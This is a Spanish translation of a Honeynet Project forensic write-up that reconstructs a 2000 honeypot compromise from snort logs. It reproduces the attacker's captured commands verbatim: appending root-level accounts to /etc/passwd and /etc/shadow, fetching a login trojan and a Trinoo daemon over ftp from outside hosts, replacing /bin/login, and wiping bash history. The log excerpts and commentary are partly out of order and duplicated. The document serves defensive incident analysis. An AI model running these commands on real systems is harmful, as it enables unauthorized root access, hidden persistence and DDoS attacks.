Traducción
del texto: Know your enemy (A Forensic Analisis), disponible en
Honeynet Project
http://project.honeynet.org
Última modificación: 23 de mayo, 2000
Este texto es una continuación de la serie
Conoce a Tu Enemigo
. Los tres primeros textos cubrieron las herramientas y tácticas de la
comunidad blackhat. En este texto, el cuarto de la serie, se estudia paso a paso un
un ataque con éxito sobre un sistema. Sin embargo, en vez de centrarnos en las
herramientas y tácticas utilizadas, nos centraremos en cómo aprender lo que pasó y en
reconstruir la información. El propósito es darle las habilidades forenses necesarias
para analizar y aprender usted mismo las amenazas que puede sufrir su organización.
Hay también versión
online, versión interactiva
de este texto publicada en el MSNBC.
Contexto
El Ataque
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86:
63.226.81.13:1351 -> 172.16.1.107:53
Mi equipo trampa recibe numerosos sondeos, escaneos y consultas en un
día normal.
Sin embargo, una alerta como esta consigue mi atención inmediata, porque indica
que un sistema podría ser comprometido. En efecto, menos de dos minutos después
los registros indican que el sistema está comprometido, y nuestra atacante inicia una
conexión y entra en el sistema.
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Nuestra intrusa ha conseguido acceso como super-usuario y ahora controla el sistema.
¿Como se llevó a cabo?,¿Qué ha pasado? Ahora empezaremos nuestro análisis forense
y reconstruiremos la información, paso a paso.
El Análisis
Si echamos un vistazo a la alerta anterior, el ataque fue en el puerto 53. Esto
indica un que sobre nuestro sistema se lanzó un ataque DNS. Empezaré mirando mis
alertas snort para encontrar posibles sondeos
en busca de información sobre el DNS. Encontramos una consulta sobre la versión del
DNS que proviene del mismo sistema que nos atacó.
Apr 25 02:08:07 lisa snort[5875]:
IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Fíjese en la fecha de la consulta, 25 de Abril. Nuestro sistema fue atacado el 26 de
Abril, desde el mismo sistema. Nuestro sistema fue comprometido el día después de
la consulta. Adivino que nuestra blackhat utilizó una herramienta automatizada
para escanear numerosos sistemas en busca de una conocida
vulnerabilidad DNS. Después del escaneo, la blackhat revisó los resultados,
identificando los sistemas vulnerables (incluyendo el nuestro) y entonces lanzó su
exploit. Ahora hemos reconstruido la primera parte de nuestra historia. Nuestra
blackhat nos escaneó el 25 de Abril, y explotó el sistema el día siguiente.
Basados en nuestras alertas IDS, parece que fuimos atacados por una
script kiddie
con una conocida vulnerabilidad DNS. Pero ¿Cómo se lanzó el ataque, y cómo
trabaja? Vamos a descubrirlo.
El Exploit
cd /; uname -a; pwd; id;
echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
Nuestra blackhat ejecuta diversos comandos como root. Primero, confirma el sistema en el
que está (uname -a),
el directorio (pwd)
y confirma su uid (id).
Entonces ella añade dos cuentas de usuario al sistema. twin y hantu,
ambas con la misma contraseña. Notar que twin tiene la UID 506 y hantu
tiene UID 0 (nota aparte, hantu significa fantasma en Indonesio). Recuerde, muchos
sistemas no admiten el acceso telnet con UID 0. Así que ha tenido que crear una cuenta que
le permita el acceso remoto, y entonces otra cuenta que le de una UID 0. De esta forma, nuestra
blackhat ejecutó el exploit en el DNS, consiguió una shell de root, y entonces insertó dos
cuentas. En los 90 segundos después del exploit, ella accede por telnet al sistema y consigue
acceso como root (mirar los tiempos de los siguientes registros). ¿Qué es lo próximo que hará?
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86:
63.226.81.13:1351 -> 172.16.1.107:53
Consiguiendo Acceso
Primero, nuestra amiga hace telnet al sistema (desde 213.28.22.189) como twin y
después consigue acceso de super usuario como hantu. Recuerde, ella no puede
acceder mediante telnet como hantu con UID 0 porque está restringido para
acceso remoto.
#' !"'!"# ' 9600,9600'VT5444VT5444
Luego, nuestra amiga ejecuta un ftp hacia otro sistema para bajarse herramientas
[root@apollo /]# ftp 24.112.167.35
En tercer lugar, coge su puerta trasera, compila
bj.c,
y lo instala reemplazando a /sbin/login. Atención a todos los comandos ejecutados
desde la línea de comandos para la compilación. Parece que todos los comando de
compilación fueron ejecutados al estilo 'cortar y pegar'.
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login
/usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm
bj.cgcc -o login bj.c
Ahora intenta instalar la puerta trasera compilada.
[root@apollo /]# chown root:bin login
¡Ohhh! No ha podido llevarlo a cabo, vuelve a intentarlo. Accede mediante ftp y vuelve a
descargar la puerta trasera.
[root@apollo /]# ftp 24.112.167.35
Este es su segundo intento para compilar la puerta trasera. Fíjese que usa los mismos comandos
del estilo "cortar y pegar".
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login
/usr/bin/xstatcp /bin/login /usr/bin/old
rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/login rm bj.cgcc -o login bj.c
La información aquí expuesta fue obtenida a través del uso de un
equipo trampa
(N. del T. del inglés honeypot.
El equipo trampa era una instalación Red Hat 6.0 por defecto. No se realizó ninguna
modificación a la instalación por defecto, así que las vulnerabilidades aquí
tratadas existen en cualquier instalación por defecto de RH 6.0. Además, ninguno
de los datos presentados aquí ha sido saneado. Todas las direcciones IP, cuentas
de usuarios, y pulsaciones de teclas que se muestran son reales. Esto está hecho
con la intención de validar los datos y dar un mejor entendimiento del análisis
forense. Sólo las contraseñas han sido modificadas para proteger los sistemas
comprometidos. Toda la información obtenida del rastreador (N. del T. del inglés
sniffer), está presentada en formato
snort.
Snort es el rastreador e IDS que he elegido, debido a su flexibilidad, capacidades,
y precio (es gratuito). Todas las acciones cometidas por el blackhat fueron capturadas
mediante snort. Yo utilizo las firmas IDS proporcionadas por Max Vision en
www.whitehats.com.
Puede consultar su base de datos arachNIDs para más información sobre todas las
alertas discutidas a través de este texto. Puede encontrar mi fichero de configuración
de snort y el fichero de firmas (incluyendo las opciones que utilizo desde la línea de
comandos)
aquí.
Una vez que haya leído el texto, usted podrá llevar a cabo su propio análisis forense,
ya que he suministrado todos los
datos.
Cuando lea el texto, tenga en cuenta todos los sistemas diferentes que usa el
blackhat.
Además, a lo largo del texto, el blackhat es identificado como ella, pero no tenemos
idea de qué género es.
El 26 de Abril, a las 06:43 snort me alertó que uno de mis sistemas había
sido atacado con un ataque "noop". Paquetes cargados con "noops" (instrucciones No Operación)
son un indicio de un desbordamiento de búfer. En este caso, snort
ha detectado el ataque y ha registrado la alerta en mi fichero /var/registro/messages (el
cual es monitorizado por
swatch). Nota: en este texto,
la dirección IP 172.16.1.107 es la dirección IP del equipo trampa. Todos los otros sistemas
son las direcciones IP utilizadas por el blackhat.
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
Cuando se estudia un ataque, el mejor sitio para empezar el el principio, ¿Dónde
empezó el blackhat? Los blackhat normalmente empiezan reuniendo información,
necesitan determinar qué vulnerabilidades existen antes de atacar. Si su sistema
ha sido comprometido, normalmente esta no será la primera vez que el blackhat se
ha comunicado con ese sistema. Muchos ataques implican algún tipo de recolección
de información antes de lanzar el ataque. Así que, aquí es donde deberemos empezar,
la etapa de recolección de información por parte del blackhat.
Apr 25 02:08:07 lisa snort[5875]:
IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
Al igual que muchos IDS comerciales, snort tiene la capacidad de mostrarnos los
datos de todos los paquetes IP. Utilizaremos esta capacidad para conducir un
análisis del exploit. La información del exploit fue obtenida de los registros del
snort (guardados en el formato binario de tcpdump). Consulté el registro y empecé
revisando los paquetes a partir del momento en que se realizó el ataque. No limité
la información de las consultas al host 63.236.81.13, porque el atacante pudo
haber utilizado otros sistemas. Este es de hecho el caso, porque nuestra
blackhat
usó al menos tres sistemas diferentes para ejecutar el exploit. El objetivo del
exploit es conseguir una shell de root en el sistema remoto. Una vez que la
blackhat consigue la shell de root, el puede ejecutar cualquier comando como
root.
Normalmente se coloca una cuenta en los ficheros /etc/passwd y /etc/shadow. Puede
encontrar el exploit y los comandos ejecutados remotamente en el
análisis forense detallado. Una vez que
se ejecutó el exploit y se consiguió una shell de root, los siguientes comandos
fueron ejecutados como root.
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
Afortunadamente para nosotros, telnet es un protocolo en texto llano, los datos no
están cifrados. Esto significa que podemos decodificar las trazas del rastreador y capturar
todo lo que haya tecleado. Snort ya lo ha hecho por nosotros, otra razón por la que
prefiero snort. Mediante el análisis de las pulsaciones de teclado capturadas por snort
de las sesiones telnet, podemos determinar que hace nuestro blackhat. Lo que más me gusta
sobre las sesiones telnet es que capturamos no solamente STDIN (pulsaciones de teclas) sino
que también capturamos STDOUT y STDERR. Vamos a revisar las sesiones telnet e identificar
las actividades del blackhat (commentarios en ROJO).
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
registroging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek registroged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant
chown: login: No such file or directory
root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
root@apollo /]# chmod u-w login
chmod: login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/xstat
root@apollo /]# cp /bin/login /usr/bin/old
root@apollo /]# rm /bin/login
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
mv: login: No such file or directory
root@apollo /]# rm bj.c
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek registroged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast
Ahora podemos ver la puerta trasera instalada. La copia original de /bin/login es movida a /usr/bin/xstat, mientras que el troyano compilado bj.c se usa para reemplazar /bin/login. Esta es la puerta trasera. Este troyano permite el acceso no autorizado a cualquiera con el TERM (tipo de terminal) puesto a vt9111.
[root@apollo /]# chown root:bin login
root@apollo /]# chmod 4555 login
root@apollo /]# chmod u-w login
root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
Ella cubre sus movimientos. Creo que esto es automatizado, cortar y pegar. Observe como todos los comandos los ejecuta en una sola línea. Además, creo que es un programa de limpiado 'genérico', fíjese que intenta borrar ficheros inexistentes (como /tmp/h).
[root@apollo /]# rm bj.c
Esto es interesante. El programa 'genérico' de limpiado de nuestra blackhat
ha generado errores al intentar borrar ficheros que no existen. Creo que nuestra
blackhat vio estos
errores y quedó desconcertada, porque después intenta borrar manualmente esos mismos
ficheros, si bien estos no existen.
rm: cannot remove `/tmp/h': No such file or directory
He aquí, nuestra amiga ha instalado una puerta trasera,
bj.c. La puerta trasera permite el acceso a usuarios no
autenticados basándose en el parámetro TERM, en este caso para el valor VT9111. Una
vez completado, abandonó el sistema.
Después de abandonar es sistema, la blackhat hizo más conexiones y modificaciones
al sistema. Revise los datos en bruto para revisar las pulsaciones de teclas del
blackhat.
Trinoo, El Retorno
El 9 de Mayo a las 10:45 am, nuestra amiga hizo telnet desde 24.7.85.192. Advierta cómo
utiliza la puerta trasera VT9111 para entrar al sistema, evitando la autenticación.
[root@apollo /]# nslookup magix
La blackhat hace ftp a un sistema en Singapur y descarga una nueva herramienta. Atención
al directorio 'oculto' .s que crea para guardar las herramientas.
[root@apollo /]# mkdir .s
Ella accede con el mismo nombre de usuario que insertó en nuestro sistema.
Name (137.132.216.35:root): twin
Nuestra blackhat acaba de instalar y poner en funcionamiento un cliente Trinoo. Después,
intenta acceder a otro sistema comprometido. Fíjese qué valor asigna a su VT TERM. Muy
probablemente este sistema también tenga una puerta trasera. La conexión falla porque el
DNS no funciona.
[root@apollo daemon]# TERM=vt1711
Nuestra amiga abandona el sistema, sólo para volver después desde otro sistema diferente
(137.132.216.35) e intentar más diabluras.
!"' #'!"# ' 9600,9600'VT9111VT9111
Seguidamente, se produjeron diversos intentos para usar el sistema como un ataque Trinoo
contra otros sistemas. En este punto desconecté el sistema. La blackhat intentó utilizar
el sistema comprometido con fines destructivos y se puede conseguir algo más desde la
monitorización de la conexión.
May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444
Sumario
Conclusión
Quiero dar las gracias a Marty
Roesch y a Max Vision
por su contribución a la comunidad de la seguridad. Todo lo que he aprendido aquí
no habría sido posible sin su duro trabajo. Todos los registros y la información fueron
enviados al CERT antes de que esta información fuera publicada. Además, se realizaron
intentos para contactar con todas las direcciones IP involucradas en este ataque.
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ;
rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history
; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ;
rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port
map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ;
rm /usr/
sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap
; rm -rf
.bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas
h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf
/usr/sb
in/named
359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ;
rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history
; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ;
rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port
map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ;
rm /usr/
sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap
; rm -rf
.bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas
h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf
/usr/sb
in/named
359 ? 00:00:00 inetd
rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
>rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# exit
exit
twin@apollo /]$ exit
registroout
Una vez que el sistema fue comprometido, lo dejé offline para revisar los datos (como
Tripwire). Sin embargo, me di cuenta en la semana siguiente que diversos sistemas estaban
intentando acceder mediante telnet a nuestro sistema. Aparentemente la
blackhat intentó
volver a entrar, muy probablemente para utilizar el sistema comprometido para más
infames actividades. Así que, puse el sistema comprometido otra vez online, curioso por
ver si la blackhat volvería y qué querría hacer. Cierto, casi dos semanas después, volvió.
Una vez más, capturamos todas sus pulsaciones de teclas utilizando snort. Revise las
siguientes sesiones telnet y aprenda cómo nuestro sistema fue usado como un
cliente Trinoo.
!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# ls
bin cdrom etc home lost+found proc sbin usr
boot dev floppy lib mnt root tmp var
Una vez dentro del sistema, ella intenta usar el DNS. Sin embargo, el DNS continúa roto
en el sistema. Recuerde, el DNS fue explotado para conseguir acceso como root, así que el
sistema ya no puede resolver nombres de dominio.
[root@apollo /]# nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101
root@apollo /]# cd .s
root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> qquituit
root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
root@apollo /.s]#
root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.
331 Password required for twin.
Password:hax0r
230 User twin registroged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
root@apollo daemon]# ./ns
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
root@apollo daemon]# exit
exit
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
Connection closed by foreign host.
[root@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
[root@apollo /]# exit
exit
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon:
137.132.17.202:2988 -> 172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon:
137.132.17.202:3076 -> 172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335
Hemos tratado paso a paso cómo un equipo trampa fue comprometido, cómo se instaló una puerta trasera, y
casualmente usado para un ataque Trinoo. El 25 de Abril, la blackhat primero escaneó el
equipo trampa para averiguar qué versión de DNS estaba ejecutando. El día siguiente, el 26 de
Abril, ejecutó el exploit NXT para conseguir acceso como root
(consulte el NXT-Howto para un HOWTO blackhat sobre el
exploit). Una vez que consiguió una shell de root, creó dos cuentas en el sistema, twin
y hantu. Justo después accedió mediante telnet consiguiendo acceso como super-usuario,
y entonces descargó e instaló su puerta trasera bj.c.
Ejecutó scripts para borrar sus huellas y abandonó el sistema. Durante las semanas siguientes
intentó conectarse al sistema, sin embargo este estaba offline. Finalmente, el 9 de Mayo
consiguió acceder, instaló y ejecutó un cliente Trinoo. En este punto el equipo trampa
fue
desconectado para bien de todos. La mayoría de los datos forenses fueron basados en los
registros del sistema comprometido junto a los registros y alertas de snort. Otras personas han
contribuido con
análisis adicionales del ataque.
Hemos tratado paso a paso cómo un equipo trampa fue comprometido. La meta fue determinar
cómo el sistema había sido comprometido utilizando análisis forense mediante los registros
del sistema y del IDS. Analizando este ataque, usted debe tener un mejor entendimiento
sobre qué esperar y qué mirar cuando se analiza el ataque a un sistema. Si quiere leer
más acerca de cómo se obtuvo toda esta información, échele un vistazo a
Construir un Equipo Trampa.